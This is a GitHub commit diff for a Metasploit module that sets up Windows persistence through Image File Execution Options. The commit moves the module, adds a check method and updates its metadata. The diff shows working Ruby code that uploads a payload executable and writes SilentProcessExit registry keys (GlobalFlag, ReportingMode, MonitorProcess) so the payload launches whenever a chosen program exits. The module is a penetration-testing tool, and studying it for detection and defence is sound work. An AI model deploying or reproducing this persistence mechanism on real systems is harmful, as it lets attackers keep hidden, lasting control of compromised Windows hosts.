Skip to content

Commit 01a07ac

Browse files
committed
modernizing windows persistence
1 parent e6e7a45 commit 01a07ac

File tree

1 file changed

+36
-20
lines changed

1 file changed

+36
-20
lines changed

modules/exploits/windows/local/persistence_image_exec_options.rb renamed to modules/exploits/windows/persistence/image_exec_options.rb

Lines changed: 36 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,10 @@ class MetasploitModule < Msf::Exploit::Local
1010
include Msf::Post::File
1111
include Msf::Exploit::EXE
1212
include Msf::Post::Windows::Priv
13+
include Msf::Exploit::Local::Persistence
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
include Msf::Exploit::Deprecated
16+
moved_from 'exploits/windows/local/persistence_image_exec_options'
1317

1418
def initialize(info = {})
1519
super(
@@ -34,12 +38,9 @@ def initialize(info = {})
3438
'DefaultTarget' => 0,
3539
'DisclosureDate' => '2008-06-28',
3640
'References' => [
37-
['URL', 'https://attack.mitre.org/techniques/T1183/'],
41+
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
3842
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
3943
],
40-
'DefaultOptions' => {
41-
'DisablePayloadHandler' => true
42-
},
4344
'Compat' => {
4445
'Meterpreter' => {
4546
'Commands' => %w[
@@ -48,21 +49,36 @@ def initialize(info = {})
4849
}
4950
},
5051
'Notes' => {
51-
'Reliability' => UNKNOWN_RELIABILITY,
52-
'Stability' => UNKNOWN_STABILITY,
53-
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52+
'Stability' => [CRASH_SAFE],
53+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
54+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
5455
}
5556
)
5657
)
5758
register_options([
5859
OptString.new('PAYLOAD_NAME',
5960
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
60-
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),
6161
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
6262

6363
])
6464
end
6565

66+
def writable_dir
67+
d = super
68+
return session.sys.config.getenv(d) if d.start_with?('%')
69+
70+
d
71+
end
72+
73+
def check
74+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('%TEMP%')
75+
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
76+
77+
return CheckCode::Safe('You must be System to run this Module') unless is_system?
78+
79+
CheckCode::Appears('Likely exploitable')
80+
end
81+
6682
def upload_payload(dest_pathname)
6783
payload_exe = generate_payload_exe
6884
write_file(dest_pathname, payload_exe)
@@ -71,7 +87,7 @@ def upload_payload(dest_pathname)
7187

7288
def validate_active_host
7389
unless is_system?
74-
fail_with(Failure::NoAccess, "You must be System to run this Module")
90+
fail_with(Failure::NoAccess, 'You must be System to run this Module')
7591
end
7692

7793
begin
@@ -85,18 +101,18 @@ def validate_active_host
85101
def write_reg_keys(image_file, payload_pathname)
86102
reg_keys = []
87103
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
88-
value_name: "GlobalFlag",
89-
type: "REG_DWORD",
104+
value_name: 'GlobalFlag',
105+
type: 'REG_DWORD',
90106
value_value: 512)
91107
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
92-
value_name: "ReportingMode",
93-
type: "REG_DWORD",
108+
value_name: 'ReportingMode',
109+
type: 'REG_DWORD',
94110
value_value: 1)
95111
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
96-
value_name: "MonitorProcess",
97-
type: "REG_SZ",
112+
value_name: 'MonitorProcess',
113+
type: 'REG_SZ',
98114
value_value: payload_pathname)
99-
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"
115+
silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
100116
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
101117
reg_keys.each do |key|
102118
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
@@ -109,12 +125,12 @@ def write_reg_keys(image_file, payload_pathname)
109125
end
110126
end
111127

112-
def exploit
128+
def install_persistence
113129
validate_active_host
114-
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
115-
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
130+
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
131+
temp_path = writable_dir
116132
image_file = datastore['IMAGE_FILE']
117-
payload_pathname = temp_path + "\\" + payload_name + '.exe'
133+
payload_pathname = temp_path + '\\' + payload_name + '.exe'
118134
vprint_status("Payload pathname = #{payload_pathname}")
119135
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
120136
end

0 commit comments

Comments
 (0)